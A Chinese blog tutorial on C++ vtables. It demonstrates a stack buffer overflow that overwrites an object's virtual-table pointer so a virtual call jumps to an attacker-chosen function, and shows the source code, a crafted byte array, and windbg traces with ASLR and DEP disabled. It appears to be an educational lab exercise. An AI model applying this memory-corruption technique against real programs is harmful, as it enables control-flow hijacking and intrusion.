首页 > 编程语言 >C++溢出对象虚函数表指针

C++溢出对象虚函数表指针

时间:2022-11-07 20:32:33浏览次数:47  
标签:obj1 xcc 虚表 objPtr mov C++ test 溢出 指针


    C++一特性是通过virtual关键字实现运行时多态,虽然自己用到这个关键字的机会不多,但很多引用的第三方库会大量使用这个关键字,比如MFC...如果某个函数由virtual关键字修饰,并且通过指针方式调用,则由编译器实现运行时多态,也是本文溢出虚函数表并加以利用的前提条件。虚表的概念可以参考这篇文章:​​C++虚表和多态​​,在这篇文章里就不再过多解释了。

    文章开头提到了能完成溢出利用的前提条件,看下Object.Function()调用方式和ObjectPtr->Function()调用方式的差别,源码如下:

class base
{
public:
virtual void test()
{
printf("%s\n","base:test");
}
};

int main()
{
base obj1;
base* objPtr = &obj1;

obj1.test(); //普通调用方式
objPtr->test(); //运行时多态
return 0;
}

截取关键部分的反汇编代码:

base* objPtr = &obj1;
00401026 lea eax,[obj1]
00401029 mov dword ptr [objPtr],eax

obj1.test();
0040102C lea ecx,[obj1]
0040102F call base::test (401090h) // 1)对应的OpCode为0x0040102F:e8 5c 00 00 00
objPtr->test();
00401034 mov eax,dword ptr [objPtr]
00401037 mov edx,dword ptr [eax]
00401039 mov esi,esp
0040103B mov ecx,dword ptr [objPtr]
0040103E mov eax,dword ptr [edx]
00401040 call eax // 2)

反汇编代码call base::test (401090h)的调用目标就是虚函数test所在的地址(为了编译演示效果,我已关闭链接选项中的增量链接):

virtual void test()
{
00401090 push ebp
00401091 mov ebp,esp
00401093 sub esp,0CCh
00401099 push ebx
0040109A push esi
0040109B push edi
0040109C push ecx
0040109D lea edi,[ebp-0CCh]
004010A3 mov ecx,33h
004010A8 mov eax,0CCCCCCCCh
004010AD rep stos dword ptr es:[edi]
004010AF pop ecx
004010B0 mov dword ptr [ebp-8],ecx

    从这段代码可以看到这些信息:

这段是我自己主观判断的)灵活性给我们带来了利用的机会。
    
     上面已经知道了2种调用机制的差别,现在将重点放到运行时多态的实现上。(为了行文方便,这里容我假设你已经阅读了<C++虚表和多态>一文,并对虚表机制有一定了解)。先看下Obj1对象的内存分布图:

C++溢出对象虚函数表指针_windows

图中显示Obj1对象的虚表存在于Obj1对象外部(按我调试的结论,虚表是类对象所共有,存在于PE文件rodata节中,因为每次修改虚表都会引起访存异常。),在对象内部仅保留一个指针成员指向该共有虚表。如果让指针指向错误的地方----比如我们伪造的虚表,则程序会不假思索的去伪造的虚表取虚函数地址并执行。

    鉴于这种猜测,我们动手尝试覆盖Obj1对象的虚表,思路如下:先在栈上开辟一个数组,紧接着创建obj1对象,然后溢出数组直到Obj1对象虚表指针所在的内存。修改后的代码如下:

class base
{
public:
<span > </span>unsigned char buff[4];
<span > </span>base()
<span > </span>{
<span > </span>memset(buff,0xAA,4);
<span > </span>}
<span > </span>virtual void test()
<span > </span>{
<span > </span>printf("%s\n","base:test");
<span > </span>}
};


void fakeFunc()
{
<span > </span>printf("%s\n","fakeFunc");
}
unsigned char shellcode[] = {'\x00','\x10','\x40','\x00',
<span > </span>'\xcc','\xcc','\xcc','\xcc',
<span > </span>'\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc',
<span > </span>'\x08','\xff','\x12','\x00'};
int main()
{
<span > </span>base* objPtr;
<span > </span>base obj1;
<span > </span>unsigned char buf[8] = {0};


<span > </span>objPtr = &obj1;
<span > </span>memcpy(buf,shellcode,0x14);


<span > </span>objPtr->test();
<span > </span>return 0;
}

调试查看变量obj1和buf的内存分布情况:

<pre name="code" class="cpp">0:000> dd obj1 l1
0012ff18 0043b1d4
0:000> dd buf
0012ff08 00000000 00000000 cccccccc cccccccc
0012ff18 0043b1d4 aaaaaaaa cccccccc cccccccc



从windbg返回的结果看,buf后面紧贴着0x8B的0xcc,这是变量保存区,由vs编译生成的gap,用于检测栈溢出,紧随其后的0x012ff18是obj1对象所在内存区,这个地址同时也是obj1对象的虚表指针所在,只要巧妙的构造copy给buf的内容,就能使objPtr->test()去执行fakeFunc函数。为了便于试验中构造shellcode,设置VS链接选项随机基质和数据执行保护都为No。


我构造用以溢出buf的缓存区的内容为:

unsigned char shellcode[] = {'\x00','\x10','\x40','\x00',
'\xcc','\xcc','\xcc','\xcc',
'\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc',
'\x08','\xff','\x12','\x00'};

shellcode在这有2个作用:1)很明显的一点溢出buf到obj1所在地址;2)shellcode前4B充当虚函数表,当然这个表的内容比较单一,只有一个表项,表项内容是fakeFunc的地址(见下面的windbg输出结果)。这部分内容我用红色字体标示:'\x00','\x10','\x40','\x00'(Intel小端序),这个需要读者按照自己实际情况修改。

0:000> u fakeFunc
00401000 55 push ebp
00401001 8bec mov ebp,esp

绿色字体部分:

'\x08','\xff','\x12','\x00',这4B正好覆盖obj1的虚函数表指针:

这是覆盖前buf和Obj1的内存情况:

0:000> dd buf L8
0012ff08 00000000 00000000 cccccccc cccccccc
0012ff18 0043b1c0 aaaaaaaa cccccccc cccccccc

这是执行memcpy之后覆盖Obj1的情况:


0:000> dd buf L8
0012ff08 00401000 cccccccc cccccccc cccccccc
0012ff18 0012ff08 aaaaaaaa cccccccc cccccccc

最后,看下覆盖后程序objPtr->test()执行情况:

C++溢出对象虚函数表指针_多态_02

图中红框是objPtr->test()对应的反汇编代码,我们单步执行查看结果:

0:000> t
virtual!main+0x5c:
004010ac 8b10 mov edx,dword ptr [eax] ds:0023:0012ff18=0012ff08
0:000> r eax
eax=0012ff18

1.这步是取objPtr指针地址,eax=0x12ff18,对应objPtr对象起址,同时是虚函数表指针地址

0:000> p
virtual!main+0x5e:
004010ae 8bf4 mov esi,esp
0:000> r edx
edx=0012ff08

2.这步是从虚函数表指针取虚表地址到edx

004010b3 8b02            mov     eax,dword ptr [edx]  ds:0023:0012ff08={virtual!fakeFunc (00401000)}
0:000> p
eip=004010b5 esp=0012fe38 ebp=0012ff34
virtual!main+0x65:
004010b5 ffd0 call eax {virtual!fakeFunc (00401000)}

3.跳过_chkesp相关的代码,继续执行的结果。

前面说过当前虚表中只有一项,当前edx存放虚表地址,因此[edx]中的值存了被伪造的虚函数的地址0x401000,将其存放到eax

0:000> r eax
eax=00401000

之后,F5运行,查看结果,已经跳转到fakeFunc中:

C++溢出对象虚函数表指针_多态_03


C++溢出对象虚函数表指针_虚函数表_04


至此,溢出利用虚函数表指针成功

标签:obj1,xcc,虚表,objPtr,mov,C++,test,溢出,指针
From: https://blog.51cto.com/u_13927568/5831337

相关文章

  • day27 CSS浮动、溢出 & js基本语法
    接day26CSS=>CSS定位overflow属性值描述示例visible默认值,内容不会被修剪,会呈现在元素框之外hidden内容会被修剪,并且其余内容是不可见的overflow:hidd......
  • 指针趣味小题
    这小段代码帮助理解下指针和对象的大小,&和*的作用#include<stdio.h>#include<iostream>#defineTElemTypeint//构造结点的结构体typedefstructBiTNode{TElemType......
  • 23 种设计模式C++实现
    设计模式的分类总体来说设计模式分为三大类:创建型模式,共五种:​​单例模式​​、​​原型模式​​、​​工厂方法模式​​、​​抽象工厂模式​​、​​建造者模式​​。结构......
  • 设计模式(十八)桥接模式 C++
    桥接模式即将抽象部分与它的实现部分分离开来,使他们都可以独立变化。桥接模式将继承关系转化成关联关系,它降低了类与类之间的耦合度,减少了系统中类的数量,也减少了代码量。桥......
  • C指针之二:c的动态内存管理
    参考书籍《深入理解c指针》原书作者:RichardReese华盛顿州塔尔顿州立大学副教授篇首语指针为什么强大?因为能够追踪动态分配的内存,通过指针来管理这部分内存是很多操作的基......
  • C指针之一:指针和内存
    参考书籍《深入理解c指针》原书作者:RichardReese华盛顿州塔尔顿州立大学副教授如果想在C/C++道路上走的更远,那么必须非常熟悉指针1、关于指针大小的谣言,指针到底多大?指......
  • visual c++6.0对浮点数处理器的初始化
       <C++反汇编与逆向分析>的作者在书中P21页列写了一段代码:intmain(){intnInt0;scanf("%f",&nInt);}并简短的提到,运行上面这段程序并输入小数,将会导致程序崩......
  • C++ 悬垂指针
    /***********************************************************************//一、迷途指针(悬垂指针)在计算机编程领域中,迷途指针与野指针指的是不指向任何合法的对象的......
  • C++入门知识点
        今天我为大家带来的是有关C++入门知识点,总共分为5个小知识点,分别是:命名空间,缺省参数,函数重载,引用和auto关键字(C++11)。在这其中,我们还会穿插将一些知识点,希望大......
  • 记录一次上个月27号晚上元空间内存溢出
    这次是测试环境,处理问题的时间比较充裕。同样和之前堆内存溢出一样,arthasattachfailure。不同的是这次attach过程报错显示OutOfMemoryError:Metaspace。随即想......